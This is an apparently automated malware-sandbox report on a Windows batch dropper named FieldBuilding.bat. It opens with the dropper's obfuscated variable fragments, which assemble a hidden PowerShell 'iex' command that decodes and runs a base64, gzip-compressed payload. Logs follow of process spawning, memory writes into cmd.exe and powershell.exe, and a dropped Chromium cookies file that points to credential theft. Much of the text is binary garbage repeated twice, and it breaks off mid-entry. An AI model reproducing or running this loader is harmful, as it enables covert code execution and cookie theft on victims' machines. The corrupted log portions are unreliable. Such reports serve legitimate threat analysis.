kzvlpmshtdbenis="B1AEUAbQAyAGkAdgBpAFQAYQAvACsAQQ", pxcyykzmxfcrrmz="fQAKACQAbwByAGEAbgBnAGUAPQjkemha", ezgzbdpcutwpola="cAdQA5AEEAdAByADcAcgBIAHQATQBIAF", wiwrkvuqdwymaqw="VQBpAGgAZwjkemhazxgpB4AHQAMwA0AD", vzbfxupobpjgfko=".e", zlbdyznzgqjjepq="ll", cpghsufswctojel="-nop -c ""iex([Text.Encoding]::Un", hdzwdaklrtoqwcz="8AbgBNAHAAZjkemhazxgpABRAHIAQwBV", bazcgdufrxysvhi="hazxgpagAwAFoAYgBEAEgAMAAwAHkAQQ", lgywauqqbrezuso="QgBQAHcAcABDAHkAeQBTAHMAYQBOAGjk", moyfynqyetrslbg="emhazxgpwAYQBvAGMALgBiAGEAdAAiAD", wtfirflglersrjx="xgpkAF8AIAAtAGwAaQBrAGUAIAAiADoA", uhkwbrntqbtusmo="RwBmAFUASgBsAHjkemhazxgpgAKwBlAH", uoqbaxpencszdya="UAewAkAjkemhazxgpF8ALgBTAHUAYgBz", cfqrtbztsvyyjfu="he", rgvrvlhvmmabvop="AHIAdAAxAD0AjkemhazxgpKAAkAHIAYQ", hwycuqlisjdzccn="s\", gbvruomcgsnrxgi="BSAGoAcgAxACsjkemhazxgpAcQBWAHYA", vlcvhvhonaxqkbt="emhazxgpYASABEAHcAegBQAEQAVwBWAG", udztpsaicyvkulw="BjkemhazxgpyAGEAdwBMAGkAbgBlAHMA", xyhavlubizrhepy="BVAEIAMABjkemhazxgpwAEYAWgBIAGQA", ismwcfocecjijbw="kAawBlACAAIgA6ADoAOgAzACoAIjkemh", akcygzxzfwlqeqp="awB2AHEALwBFADjkemhazxgpkAcgBIAH", hxiulutnmdloqjw="eABKADUARgByAEoAZwBMAFoANQBYADIA", gpqubchhydzzcaq="QwBvAGjkemhazxgp4AdgBlAHIAdABdAD", qdbpadroyhkdjih="ApAH0AKQA7ACQAcABhAHIjkemhazxgpA", ejbkxargutkunei="ADYAYwBzAHAANABJAHoAYgBVADAANQBa", dpggzklovqphrut="Po", mtdtmkofoaemsug="AC0AcgBlAHAAbABhAGMAZQAijkemhazx", egtlthlzvhtjhex="Ajkemhazxgp4AFQAUABuAEYAWAA0AEwA", hhkhptrzdacgqja="QAZjkemhazxgpwBZAEEAQQBBAD0APQAn", iwghusvvmbyrxlz="wAZQBtAG8AbjkemhazxgpgAiACwAIgAi", omcwglnsgqpcjzx="B6AEkANAB2AHoAbgBqAFEAUAAjkemhaz", izrtmkkabpehizt="bwByAHkAUwB0AHIAZQBhAG0AKAAsACjk", qfjfqizcpkxayka="xgpvAG0AcAByAGUAcwBzAGkAbwBuAC4A", tpwbhwwdhdwqshf="ADEAawA2jkemhazxgpAFYAeQA0AG4ANg", nxwfmlesdesxngs="mhazxgpAVgBXAEIAUABGAEoAbgBpAEUA", ixiitaykplbopkb="BKAEwAbABhADcAMwBjkemhazxgpWAEsA", ilsehfuukzlffzt="QAMQArACQAcABhAHIAdAAyAjkemhazxg", xheujtbjxibinqm="NwBiAFUAVwBGAEEASQA1AGMAWgBBAEgA", stgttmubgdvzlke="PwB7ACQAXwAgAC0AbABpAGsAZQjkemha", utdnhigixxbplpu="cAcABIADEALwBuAGkAcwAzAGYANjkemh", tdngbsshkolysdj="Wi", gjsidxqioifodpn="xgpHAGUAdABTAHQAcgBpAG4AZwAoAFsA", gumjgguvrvzwiia="we", spgtcsmqjgmuecq="azxgpAA2AE0AbABrADIATAB1AGoAaQB0", uaiqvsmvzapbhiw="cAawBEAEkAYgBTAHMAagBnAHEAUQAvAG", vczvykfwpvezvsv="xgp0ADcAZAB4AHMANQBlAGUAOQAvACsA", dwdpjwblmilaqca="A6AFUAbgBpAGMAbwBkAGUALgBjkemhaz", fzhkrmfoglbamir="AE4AcQBhAGoAZABhAEwAjkemhazxgpZA", stscoathommriyy="mhazxgpAZwAoADQAKQB9ACkAOwAkAGsA", eciltvrwacsyznu="sAJABfAC4AUwB1AGIAcjkemhazxgpwB0", mmlpwzgerimwwse="AHQAcgBpAG4AZwAoADQAjkemhazxgpKQ", qclggbkjykqighk="WAjkemhazxgpBoAGYAWQBLAFMARwBvAD", zzyflgyblmghtia="AE4AbgArAGQAVwBWAGUANgBqAE4Ajkem", kexulbdmkssdafd="dAA0AD0AKAAkAHIAYQB3AEwAaQBuAGUA", fejkkmzbqybsjxn="YgBhAG4AYQBuAGEAfAjkemhazxgpA/AH", odnnycqbrnuzboe="ACgAJABwAGkAjkemhazxgpbgBlAGEAcA", deqyzhttpomcutr="ADoANQAqACIAfQB8jkemhazxgpACUAew", lzdbqheuedbtate="xgpvAHcAbQBwAGMAYwBEAEkARwBFAG4A", xdxbldkeagnrfem="rs", hqwydcwekbbnehd="zxgpBjAHMAQQByADYAaABJAGwASABnAG", vsnkzrijwcpkrwa="WgBuAFgAQwBxAHIASQBtAEjkemhazxgp", smijkjbbxlcxayk="QAbwByAGEAbgBnAGUAKQA7Ajkemhazxg", yvnnwmnzbmxlpkd="VQBTAEUAUgBQAFIATwBGAEkATABFAFjk", revwvuxycefkjmv="AFIAdABGjkemhazxgpAG8AMwBQAGkAQw", fotyoymnyuveulz="mhazxgpAdwAzAG8ANQBPAE8ASQBkAEkA", nbuerfhzncffclw="AHMAdAByjkemhazxgpAGkAbgBnACgANA", snhnycevenqbjke="MwBGAFMATQA3AE0AYgBiAGjkemhazxgp", shpaosldzqozurg="sAJABfACAALQBsAGkAawBlACAAIgA6Aj", mspadrcbnwielaf="BhAD0AIgAkAGUAbgBjkemhazxgp2ADoA", shlhqclycytonyw="AFAAYQB0AGgAIAAkAGIAYQBujkemhazx", ytuowvgisulkjfo="TAjkemhazxgpA3AFAARgBmADcAZwBtAG", jaeoigkbvcsisfi="AwAHAASQBmAFcAVABjkemhazxgpRAHUA", nredcfrkmhniiga="IAOQBhAEwAVQA4AEEAVQBXAjkemhazxg", eiqzkxolznucwcj="A4AEEARAAjkemhazxgp3AFIATAAxAHAA", qppwefbgamzcfzh="QgBRAHIAVgB0AHYAUgB0ADgARABTAGsA", ftpookpbngrbjmg="azxgpwB5AFIAcwA2AG4AKwBmAE0AZQBU", jdxdjgkbeijeafo="0AbjkemhazxgpABpAGsAZQAgACIAOgA6", esqkdzibszqbvgj="MABhAEoAZQBrAHjkemhazxgpEATABhAD", gexvvkizswbdbso="xe""", foueppjrbgidlvk="TAjkemhazxgpBXADcAZgBEADAAOABIAF", rztwrfsqejlqwzv="cATABpAG4AZQBzAHwAPwB7ACQAXwAgAC", aunmspxgmzicycx="ow", bkjxgwcjtewunzi="ADQAKgAiAH0AfAAlAHsAJABfAC4Ajkem", ydvgkdetnkpdgwk="AEIAVQBqAFAAVQBtjkemhazxgpAG0Aeg", mlkitermdkeeeto="BsAE4jkemhazxgpATgA5AHUAcwBGADUA", tfyvqkzegdudgeo="YgBhAGwAZgBMAGIAawBpAEQASgjkemha", hrhhcwxxpniwbfh="'.Replace('jkemhazxgp','')))))""", ciurtlmizcaojoi="AoAE4jkemhazxgpAZQB3AC0ATwBiAGoA", wqvrgtmaoxmdoks="fAA/AHsAJABfACjkemhazxgpAALQBsAG", gcedcmnjbxvskwn="gAegB2AFYAcAAyAjkemhazxgpDAAbwBn", kbalkolmuronxgv="\v1.0\", bgswrzqezbiuwai="AG0AjkemhazxgpQQBLAEEARgBEAHgAUg", xgmzwnmybpazyrr="hazxgpUwB1AGIAcwB0AHIAaQBuAGcAKA", dqzqwffpwfaknig="cwjkemhazxgpB8AD8AewAkAF8AIAAtAG", zyhxvefcmlrqkdf="pCsAJABwAGEAcgB0ADMAKwAkAHAAYQBy", kcserxurrmlebvz="AAbABlACkAewB0AHIAeQB7AGkAZQB4Aj", yfbps="t", nixuucbhdcubzrd="jkemhazxgpACkAKQAuAFIAZQBhAGQAVA", qgfryjhingaxkgg="QwBvAGjkemhazxgp0AcAByAGUAcwBzAG", ttwnpgnnbbxludp="B9ACkAOwAkAHAAYQByAHQAMwA9ACgAJA", lkwiwohmujpcyxm="gAbwBkADgASwBiAFEAdABxAFAANjkemh", mhhjfmhesjmdxnc="pDUAcwBHAFMAMwBKAEwASQA3AFgAWABU", ctfuqjykpajtcat="azxgpgA3AFkAUwAwAHMALwBqADUAMwAz", jladspwxxibwnei="8AbQBwAHIAZQBzAHMAaQBvAG4ALgBHAj", zjvlotkizxgckjx="em", cjpslqnyisftafp="\W", ltlpivbclrbtnym="zxgpBVAHEAVAB2AEkARwBFAEsAagAxAF", vnvczfzisxomiav="AEoAcgBrAE8AdgAvAEYAYQA5ADcAjkem", yezxfeafknhyazq="UwBVAGjkemhazxgpEAdwBWAEgAYQBGAG", rqgvvncoamafypq="SwBjAFjkemhazxgpYANQBiACsAOABnAE", rmfvynidbehyoeo="QASgBtADIAMABkAGEAZgBSAjkemhazxg", jkslrzpcdxgwmfc="ZQBjAHQAIABJAE8ALgjkemhazxgpBDAG", prdxjxctuembezf="AFQAbwB1AGgAegB5AHQAVABXjkemhazx", ssnnhakvafewvjs="zxgpAnAEgANABzAEkAQQBBAEEAQQBBAE", qltldixqxesoceo="AyADcAdgBWAHMAVwB3AFgjkemhazxgpA", kvbvjupruufmojq="OgA6ADjkemhazxgpEAKgAiAH0AfAAlAH", diynlsljilfdnwl="NABTAHQAcgjkemhazxgpBpAG4AZwAoAC", uwjoosfyxigdkhg="ACsAYgBNAEIAVAA5AEsAjkemhazxgpOQ", bjqtrqtulrwsjwb="BjkemhazxgpyAFkAUgBFADEAZgBLAGcA", gscxabtzxrxycvj="jkemhazxgpAGEAcgB0ADIAPQAoACQAcg", cqfzpcecpvxlihq="AHIAaQBuAGcAKAA0ACkAfQApADsAJABw", ywjjgdzrrvjgwyc="QAOQBxAEYAOQBoACsAMABaADEAeABpAF", olutvgvtqgrqhjo="eQBlAHIAeABaAFgAUgBBAHQAUgjkemha", uedcocvpjiefqfl="ADsAJABtAGEAbgBnjkemhazxgpAG8APQ", kghtzwbhueskynl="AHIAcwB3AEYAjkemhazxgpMQBiAGIAbQ", sghuzzyagnwitwg="AC8AaQBMAG8AjkemhazxgpZgAvAGEAKw", ssgcgqhocuzlebq="A0ACkAfQAjkemhazxgppADsAJABwAGEA", ahtebpxinkkhkoe="oAOgBGAHIAbwBtAEIAYjkemhazxgpQBz", bwesystwgoxgayx="kemhazxgpCgAWwBUAGUAeAB0AC4ARQBu", tgfmycislmenkxj="icode.GetString([Convert]::FromB", kiscozmxjrywnhm="po", xktviavqdslbzlk="A1ADsAJABhAHAAcABjkemhazxgpsAGUA", ppnkgxcouyzrwbz="BbAEMAbwBuAHYAZQByAHQAXQA6ADojke", udrzfucjiurgugr="kemhazxgpDoAOgAqACIAfQA7ACQAcABh", wmzyyttjhopqoep="BwAGwAZQAsAFsASQBPAC4AQwBjkemhaz", wpdqbyhxjbppfbe="AGEAUwBiAHMASwBEAGUAjkemhazxgpTw", xwonagiahhfqslo="we", faeolpaiwhttyxe="AGMAbwBkAGkAjkemhazxgpbgBnAF0AOg", nmsteipyjpxaknu="BiAEUARgBOAGcAeQBxADQAOQBwADcAUg", offpizzlzisyyvr="AEwAjkemhazxgpMwBhAEQAWQBGAFUAUQ", nlgejinvfqeehav="B3AGQATABmAFQATABpADIALwBjkemhaz", olyswexhbuijuwi="gpAHQAcgBlAGEAbQBSAGUAYQBkAGUAcg", wlvbahqzmpxmmct="ADoARABlAGMAbwBtAHAAcgBlAHMAcwAp", inlijmjwgiecaed="ase64String(('CgAkAGIAYQBuAGEAbg", hsewwcbmjixakcu="emhazxgpQAbQBhAG4AZwBvACkAOwBpAG", ynjxgrnusifeayl="pEEANwA3AFcAMABtAHYAdQBZAGgAdgBF", xhaioayzlckokri="AGsAYgBoAGQAegBiAHoAcgBnADgAWAA3", qcjdsmdwihpixsx="Sy", nyzavgezibbzxcb="A2ADMAYgBIAFUjkemhazxgpAZwB3AFIA", cpgnzinjlpjkeyj="sAaQBmACgAVjkemhazxgpABlAHMAdAAt", kzglnvwimnxgxgq="kemhazxgpFoAaQBwAFMAdAByAGUAYQBt", mggmtorgznraojd="mhazxgpARgByAG8AbQBCAGEAcwBlADYA", xsifolfmrkolnkm="gAWABaAEgAZQBEAG0AaABuAGMAVQBtAj", jdqjeroxrtouofm="kemhazxgpGgAWAA0AHkAbwBTAHEAQwA4", dyjgwbabwrnxgsf="zxgpAgACIAOgA6ADoAMgAqACIAfQB8AC", svypsaqykaollay="st", sdfabfhwskcpirl="AGcARgBaAC8AcgBujkemhazxgpAGoAWQ", zydbcppsiqqpuhb="BvAEUAbgBkACgjkemhazxgpAKQAKAA==", vhxwfsucmbhexkz="oATwBOADUANwBjAjkemhazxgpEIAegBO", mqyxbhwiwhrszah="hazxgpYwBTAGgATAB5ADMARABQAEsAZQ", oqcjxcywihfrvzb="gpAGEAbgBhACkAewAkAHIAYQB3AEwAaQ", alapbzdnlvamwaz="hazxgpRwBXAFAAWQBLAHEAMwBNAGkAYw", rupnnjbkslgrkze="BSAHcAbgBCAEoAZwBVAEcAWgB2AHMAMQ", kebkourshnemtqm="azxgpgB9AHwAJQB7ACQAXwAuAFMAdQBi", jaitzkhfdajucny="ADgAegBuAEkAUQBTAGcAUABQjkemhazx", jndiyrcgyufodmq="bwBQADEAcABUAEwAaAjkemhazxgpBXAC", onwhdbcwfbywlsz="B0AG0jkemhazxgpAeQB0ACIALAAiACIA", umjzongmrmwomla="A0AFAAdQBmAGMANgArAE4jkemhazxgpA", uiwxijkbuiwkbwh="AGoAZQBjAHQAIABJAE8ALgBTjkemhazx", fgxoozuafeqygtr="aQB3AGkAPQjkemhazxgpAkAHAAYQByAH", islvyqdsvxtclks="UAYjkemhazxgpwBlAGMAcgBXAFEAYQBt", rzorhofemwrmdjn="gARQAzAEsAMjkemhazxgpgBFADgAQwBs", hnefywzhwwfqrzp="he", sbqacjcaqkmiafz="UgAzAE0AVwBLAE0AbwBaAFjkemhazxgp", aibjyemnavwurjz="AGoAZgBJAFoALwAxAC8AcQB2AHEAjkem", ykukpmzkkhkqkam="MAajkemhazxgpQBLAGMAMwAwAGcALwBG", vrrtyphezpjoorv="BpAGMAcgBPADMAYQBaAFIATAB0AEIjke", xdpnvhwcsdiyebj="jkemhazxgpAFAAcQBJAHIAeQBnAEQAcA", lkmxldsczzamitf="ll", yzgydoszxixemab="oAVQBkADMAaAAvAEUAcjkemhazxgpwA2""42:Tf80,Observed system executable string:"%WINDIR%\system32\version.dll" [Source: 00000000-00005700-00000C2A-3019161335] Observed system executable string:"%WINDIR%\system32\advapi32.dll" [Source: 00000000-00005700-00000C2A-3019480080] Observed system executable string:"%WINDIR%\system32\kernel32.dll" [Source: 00000000-00005700-00000C2A-3020064737] Observed system executable string:"%WINDIR%\Microsoft.NET\Framework64\v4.0.30319\mscoreei.dll" [Source: 00000000-00005280-00000C2D-1735947868] Observed system executable string:"%WINDIR%\Microsoft.NET\Framework64\v4.0.30319\clr.dll" [Source: 00000000-00005280-00000C2A-3031426016] Observed system executable string:"%WINDIR%\Microsoft.NET\Framework64\v4.0.30319\mscoree.dll" [Source: 00000000-00005280-00000C2A-3031586124] Observed system executable string:"%WINDIR%\system32\combase.dll" [Source: 00000000-00005280-00000C2A-3031718526] Observed system executable string:"%WINDIR%\assembly\NativeImages_v4.0.30319_64\mscorlib\3b9003e4f27d92e40668f0efad11e022\mscorlib.ni.dll" [Source: 00000000-00005280-00000C2A-3031946699] Observed system executable string:"%WINDIR%\Microsoft.NET\Framework64\v4.0.30319\ole32.dll" [Source: 00000000-00005280-00000C2A-3032020583] Observed system executable string:"%WINDIR%\Microsoft.NET\Framework64\v4.0.30319\api-ms-win-core-winrt-l1-1-0.dll" [Source: 00000000-00005280-00000C2A-3032112405] Observed system executable string:"%WINDIR%\Microsoft.Net\assembly\GAC_64\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\oleaut32.dll" [Source: 00000000-00005280-00000C2A-3032277042] Observed system executable string:"%WINDIR%\assembly\NativeImages_v4.0.30319_64\System\ce0fd4f5b50baa17e7b80e4ee874ad11\System.ni.dll" [Source: 00000000-00005280-00000C2A-3032479378] Observed system executable string:"%WINDIR%\assembly\NativeImages_v4.0.30319_64\System.Core\990501e6199819806f01c8ecac88baac\System.Core.ni.dll" [Source: 00000000-00005280-00000C2A-3032548746] Observed system executable string:"%WINDIR%\Microsoft.NET\Framework64\v4.0.30319\OLEAUT32.dll" [Source: 00000000-00005280-00000C2A-3032721151] Observed system executable string:"%WINDIR%\Microsoft.Net\assembly\GAC_64\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\combase.dll" [Source: 00000000-00005280-00000C2A-3033320017] Observed system executable string:"%WINDIR%\Microsoft.NET\Framework64\v4.0.30319\api-ms-win-core-winrt-string-l1-1-0.dll" [Source: 00000000-00005280-00000C2A-3033524352] Observed system executable string:"%WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System\v4.0_4.0.0.0__b77a5c561934e089\psapi.dll" [Source: 00000000-00005280-00000C2A-3033906930] Observed system executable string:"%WINDIR%\Microsoft.Net\assembly\GAC_64\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\shell32.dll" [Source: 00000000-00005280-00000C2A-3033933036] Observed system executable string:"%WINDIR%\Microsoft.NET\Framework64\v4.0.30319\en-US\mscorrc.dll" [Source: 00000000-00005280-00000C2A-3034321044] Observed system executable string:"%WINDIR%\Microsoft.NET\Framework64\v4.0.30319\en\mscorrc.dll" [Source: 00000000-00005280-00000C2A-3034529926] Observed system executable string:"%WINDIR%\Microsoft.NET\Framework64\v4.0.30319\mscorrc.dll" [Source: 00000000-00005280-00000C2A-3034720995] Observed system executable string:"%WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0__31bf3856ad364e35\wintrust.dll" [Source: 00000000-00005280-00000C2A-3034823324] Observed system executable string:"%WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System\v4.0_4.0.0.0__b77a5c561934e089\ntdll.dll" [Source: 00000000-00005280-00000C2A-3034830355] Observed system executable string:"%WINDIR%\assembly\NativeImages_v4.0.30319_64\System.Management\6287e09015a311a64c4fe0304818f8c3\System.Management.ni.dll" [Source: 00000000-00005280-00000C2A-3036195416] Observed system executable string:"%WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System\v4.0_4.0.0.0__b77a5c561934e089\crypt32.dll" [Source: 00000000-00005280-00000C2A-3036323215]43:T1409,Spawned process "cmd.exe" with commandline "/c C:\\\\Users\\\\Public\\\\FieldBuilding.bat" (UID: 00000000-00000524) Spawned process "cmd.exe" with commandline "cmd /c start "" /min "%PUBLIC%\\FieldBuilding.bat"" (UID: 00000000-00008436) Spawned process "cmd.exe" with commandline "/K "%PUBLIC%\\FieldBuilding.bat"" (UID: 00000000-00003800) Spawned process "powershell.exe" with commandline "" -nop -c ""iex([Text.Encoding]::Unicode.GetString([Convert]::F ..." (UID: 00000000-00005280, Additional Context: "$banana="$enc��k<`�`�P0P �`��P�G��aoc.bat";if(V9�� @P0@�@�@ ��zhZ�)ana){$rawLine#��k<`�0�p0@ ��G��?{$_ -like ":9�� C�� @ @��zhZ�)($rawLines|?{#��k<`�@��P ��G��*"}|%{$_.Subr9�� p@ ��p�@��@�zhZ�)art2=($rawLin#��k<`�P0��@��P�G�� ":::2*"}|%{$9�� E��0P 0@ ��p�@�zhZ�))});$part3=($c��k<`� p��P0��@��G��-like ":::3*"9�� `��P�@��0P 0@(�zhZ�)ing(4)});$par#��k<`�@@��@ p��P0�G��|?{$_ -like "9�� C��@� ��P�@��zhZ�)Substring(4)}#��k<`��@ @P��@ �G��Lines|?{$_ -n9�� @��P ��P� ��zhZ�)%{$_.Substrin#��k<`�p�@��@��p��G��$part1+$part29�� B�@ @0�@ @�zhZ�)4+$part5;$appc��k<`��P��@��p�� P�G��ace"kiwilemon9�� ` � � P�0P(�zhZ�)rwhiaswyojntm#��k<`��@ � ��`�@�G��pple){try{iex9�� B��@P�@�P�0�@��zhZ�)ng]::Unicode.c��k<`�pP@0@ ��p��0��G��vert]::FromBb9�� P0P`@0@ ��p�@�zhZ�)pple)))}catch#��k<`��@� �pP��G��'H4sIAAAAAAAE9�� D�`P � � @��zhZ�)9bEFNgyq49p7Rc��k<`��p` ��P��G��La0mA5fEAWxmN9�� p� 0`��`�P@ @h�zhZ�)o3PiC4Pufc6+N#��k<`�p Pp`�P0��G��W7fD08HXzvVp29�� C�p� ��`�`�p�zhZ�)cShLy3DPKe8AD#��k<`�p � 0�p��G��kDIbSsjgqQ/cj9�� P�00p�`p`�� zhZ�)jYSEVpHgIwVxQ#��k<`�`p `��Pp��G��YE7IB9aLU8AUW9�� Dppp�`P��`P��zhZ�)3aDYFUQJLla73c��k<`�`� p0��00��G��oW6V96w6OnMpf9�� @ 0P��0p�zhZ�)BE+7RMKnj0MlN#��k<`��P0`P��0��0�G��cHXZHeDmhncUm9�� E ��P��zhZ�)f/a+zI4vznjQP#��k<`�@p@�0PPP��0�G��5b+8gJUd3h/Er9�� p`� �@� � p��x�zhZ�)louhMBsTRjr1+#��k<`�``�P �� @ �G��csAr6hIlHgjAZ9�� F0�pPPP0 0�@P�zhZ�)OuEm2iviTa/+Ac��k<`� � P`�pp`P��G��+exod8KbQtqP69�� `p�00��P00�h�zhZ�)Vy4n6FxYcbfwa#��k<`� `@` @�@0��G��hfYKSGo3t5hVF9�� F��`��@p`P`��zhZ�)j0ZbDH00yAlLpc��k<`��``@��0 ��G��u9Atr7rHtMHUb9�� pP0 p� P�P��zhZ�)mzicrO3aZRLtB#��k<`�p0�P��@�P��p�G��xt344Jm20dafR9�� CP0p00��p��@��zhZ�)AKAFDxR0pIfWTc��k<`�P��`P`p�G��HDwzPDWVhE3K29�� `P�0�@�P��@@x�zhZ�)Iu6xnMdgW2yeJ#��k<`��PP��@��G��W+7eEBWej3HWU9�� F��@��00� 0p`�zhZ�)1bbmwdLfTLi2/c��k<`��p�00@�pP�0P�G��wVHaFdfAwS6iz9�� P�`00@�� PP��zhZ�)PqIrygDp63bHU#��k<`�pp �`� ��@��G��UqTvIGEKj1RIe9�� D��P`��@��zhZ�)dRwnBJgUGZvs1#��k<`��@�`�@��`�P�G��rHwpH1/nis3f69�� @`�� P��@`�zhZ�)Oh19U27vVsWwX#��k<`��P` �p��P� ��G��7PFf7gmjON57c9�� D ��`��`�zhZ�)GWPYKq3MicUB0c��k<`�`��@0`0�p� �G��9qF9h+0Z1xiTf9�� p��p�@��x�zhZ�)o=[Convert]::#��k<`�` �� 0P`@0@ �G��ing($orange);9�� B@��P�P��P�zhZ�)w-Object IO.Mc��k<`�P�� 0@ P��G��mango);iex(Nf9�� Pp�� P0@��8�zhZ�)treamReader(N#��k<`�Pp�� P0@��G��Compression.G9�� E��0@ P��@��zhZ�)neapple [IO.Cc��k<`�� P00��0��G��pressionMode^9�� P��@P0�� P00��zhZ�))).ReadToEnd(#��k<`��^�V�z9��")44:T1409,Spawned process "cmd.exe" with commandline "/c C:\\\\Users\\\\Public\\\\FieldBuilding.bat" (UID: 00000000-00000524) Spawned process "cmd.exe" with commandline "cmd /c start "" /min "%PUBLIC%\\FieldBuilding.bat"" (UID: 00000000-00008436) Spawned process "cmd.exe" with commandline "/K "%PUBLIC%\\FieldBuilding.bat"" (UID: 00000000-00003800) Spawned process "powershell.exe" with commandline "" -nop -c ""iex([Text.Encoding]::Unicode.GetString([Convert]::F ..." (UID: 00000000-00005280, Additional Context: "$banana="$enc��k<`�`�P0P �`��P�G��aoc.bat";if(V9�� @P0@�@�@ ��zhZ�)ana){$rawLine#��k<`�0�p0@ ��G��?{$_ -like ":9�� C�� @ @��zhZ�)($rawLines|?{#��k<`�@��P ��G��*"}|%{$_.Subr9�� p@ ��p�@��@�zhZ�)art2=($rawLin#��k<`�P0��@��P�G�� ":::2*"}|%{$9�� E��0P 0@ ��p�@�zhZ�))});$part3=($c��k<`� p��P0��@��G��-like ":::3*"9�� `��P�@��0P 0@(�zhZ�)ing(4)});$par#��k<`�@@��@ p��P0�G��|?{$_ -like "9�� C��@� ��P�@��zhZ�)Substring(4)}#��k<`��@ @P��@ �G��Lines|?{$_ -n9�� @��P ��P� ��zhZ�)%{$_.Substrin#��k<`�p�@��@��p��G��$part1+$part29�� B�@ @0�@ @�zhZ�)4+$part5;$appc��k<`��P��@��p�� P�G��ace"kiwilemon9�� ` � � P�0P(�zhZ�)rwhiaswyojntm#��k<`��@ � ��`�@�G��pple){try{iex9�� B��@P�@�P�0�@��zhZ�)ng]::Unicode.c��k<`�pP@0@ ��p��0��G��vert]::FromBb9�� P0P`@0@ ��p�@�zhZ�)pple)))}catch#��k<`��@� �pP��G��'H4sIAAAAAAAE9�� D�`P � � @��zhZ�)9bEFNgyq49p7Rc��k<`��p` ��P��G��La0mA5fEAWxmN9�� p� 0`��`�P@ @h�zhZ�)o3PiC4Pufc6+N#��k<`�p Pp`�P0��G��W7fD08HXzvVp29�� C�p� ��`�`�p�zhZ�)cShLy3DPKe8AD#��k<`�p � 0�p��G��kDIbSsjgqQ/cj9�� P�00p�`p`�� zhZ�)jYSEVpHgIwVxQ#��k<`�`p `��Pp��G��YE7IB9aLU8AUW9�� Dppp�`P��`P��zhZ�)3aDYFUQJLla73c��k<`�`� p0��00��G��oW6V96w6OnMpf9�� @ 0P��0p�zhZ�)BE+7RMKnj0MlN#��k<`��P0`P��0��0�G��cHXZHeDmhncUm9�� E ��P��zhZ�)f/a+zI4vznjQP#��k<`�@p@�0PPP��0�G��5b+8gJUd3h/Er9�� p`� �@� � p��x�zhZ�)louhMBsTRjr1+#��k<`�``�P �� @ �G��csAr6hIlHgjAZ9�� F0�pPPP0 0�@P�zhZ�)OuEm2iviTa/+Ac��k<`� � P`�pp`P��G��+exod8KbQtqP69�� `p�00��P00�h�zhZ�)Vy4n6FxYcbfwa#��k<`� `@` @�@0��G��hfYKSGo3t5hVF9�� F��`��@p`P`��zhZ�)j0ZbDH00yAlLpc��k<`��``@��0 ��G��u9Atr7rHtMHUb9�� pP0 p� P�P��zhZ�)mzicrO3aZRLtB#��k<`�p0�P��@�P��p�G��xt344Jm20dafR9�� CP0p00��p��@��zhZ�)AKAFDxR0pIfWTc��k<`�P��`P`p�G��HDwzPDWVhE3K29�� `P�0�@�P��@@x�zhZ�)Iu6xnMdgW2yeJ#��k<`��PP��@��G��W+7eEBWej3HWU9�� F��@��00� 0p`�zhZ�)1bbmwdLfTLi2/c��k<`��p�00@�pP�0P�G��wVHaFdfAwS6iz9�� P�`00@�� PP��zhZ�)PqIrygDp63bHU#��k<`�pp �`� ��@��G��UqTvIGEKj1RIe9�� D��P`��@��zhZ�)dRwnBJgUGZvs1#��k<`��@�`�@��`�P�G��rHwpH1/nis3f69�� @`�� P��@`�zhZ�)Oh19U27vVsWwX#��k<`��P` �p��P� ��G��7PFf7gmjON57c9�� D ��`��`�zhZ�)GWPYKq3MicUB0c��k<`�`��@0`0�p� �G��9qF9h+0Z1xiTf9�� p��p�@��x�zhZ�)o=[Convert]::#��k<`�` �� 0P`@0@ �G��ing($orange);9�� B@��P�P��P�zhZ�)w-Object IO.Mc��k<`�P�� 0@ P��G��mango);iex(Nf9�� Pp�� P0@��8�zhZ�)treamReader(N#��k<`�Pp�� P0@��G��Compression.G9�� E��0@ P��@��zhZ�)neapple [IO.Cc��k<`�� P00��0��G��pressionMode^9�� P��@P0�� P00��zhZ�))).ReadToEnd(#��k<`��^�V�z9��")45:T58a,"cmd.exe" called "NtWriteVirtualMemory" with parameters {"ProcessHandle": "432" "BaseAddress": "000001C72E150000" "Buffer": "000001744657E850" "NumberOfBytesToWrite": "000011C0" "$name": "C:\\Windows\\System32\\cmd.exe"} "cmd.exe" called "NtWriteVirtualMemory" with parameters {"ProcessHandle": "432" "BaseAddress": "0000005D47C762D8" "Buffer": "0000006B692FC930" "NumberOfBytesToWrite": "00000008" "$name": "C:\\Windows\\System32\\cmd.exe"} "cmd.exe" called "NtWriteVirtualMemory" with parameters {"ProcessHandle": "428" "BaseAddress": "00000204A22D0000" "Buffer": "000001C72E343C60" "NumberOfBytesToWrite": "000011C0" "$name": "C:\\Windows\\System32\\cmd.exe"} "cmd.exe" called "NtWriteVirtualMemory" with parameters {"ProcessHandle": "428" "BaseAddress": "000000E61F21A2D8" "Buffer": "0000005D47B8D540" "NumberOfBytesToWrite": "00000008" "$name": "C:\\Windows\\System32\\cmd.exe"} "cmd.exe" called "NtWriteVirtualMemory" with parameters {"ProcessHandle": "444" "BaseAddress": "0000026DA4B80000" "Buffer": "00000204A416A460" "NumberOfBytesToWrite": "000011C0" "$name": "C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe"} "cmd.exe" called "NtWriteVirtualMemory" with parameters {"ProcessHandle": "444" "BaseAddress": "000000709F3662D8" "Buffer": "000000E61F10C6E0" "NumberOfBytesToWrite": "00000008" "$name": "C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe"}46:T6bb,"FieldBuilding.bat" has type "ASCII text with very long lines (3035) with CRLF line terminators"- Location: [%PUBLIC%\FieldBuilding.bat]- [targetUID: 00000000-00003800] "__PSScriptPolicyTest_x4vqxuu2.sy5.ps1" has type "ASCII text with no line terminators"- Location: [%TEMP%\__PSScriptPolicyTest_x4vqxuu2.sy5.ps1]- [targetUID: 00000000-00005280] "ModuleAnalysisCache" has type "data"- Location: [%LOCALAPPDATA%\Microsoft\Windows\PowerShell\ModuleAnalysisCache]- [targetUID: 00000000-00005280] "Chromium_cookies_PREGjB55ZdRvb6m_2025-10-11_20.43.41.json" has type "JSON text data"- Location: 